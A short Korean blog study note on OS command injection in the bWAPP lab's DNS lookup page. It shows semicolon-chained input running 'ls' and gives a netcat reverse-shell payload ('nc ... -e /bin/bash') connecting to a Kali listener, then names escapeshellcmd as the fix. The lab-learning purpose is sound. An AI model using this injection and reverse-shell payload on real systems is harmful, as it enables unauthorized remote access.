커맨드 인젝션이란 웹을 통해 시스템 명령어를 실행하는 공격이다. 입력값들을 제대로 검사하지 않으면 발생하는 취약점이다.

DNS lookup은 해당 도메인의 네임서버를 알려준다. 리눅스에서 여러 개 명령어를 사용할 때 ‘ ; ‘ 세미콜론을 사용한다. 여기서도 통하는지 사용해보자.

; ls 를 검색했더니 명령어가 실행되었다. ls명령어 말고도 다른 명령어들도 가능하다. 원격 접속도 가능하다. 칼리 리눅스에서 nc -lvp 1234로 포트를 열어보자. 그리고 ; nc 칼리아이피 1234 -e /bin/bash를 검색하면 접속이 된다.

대응방안은 escapeshellcmd 함수를 쓰면 ; & | 등의 특수문자들을 막을 수 있다.

'공부 > bWAPP' 카테고리의 다른 글

Server-Side Includes (SSI) Injection  (0) 2020.02.20
PHP Code Injection  (0) 2020.02.19
iFrame Injection  (0) 2020.02.19
HTML Injection – Stored(Blog)  (0) 2020.02.19
HTML Injection – Reflected(URL)  (0) 2020.02.19

+ Recent posts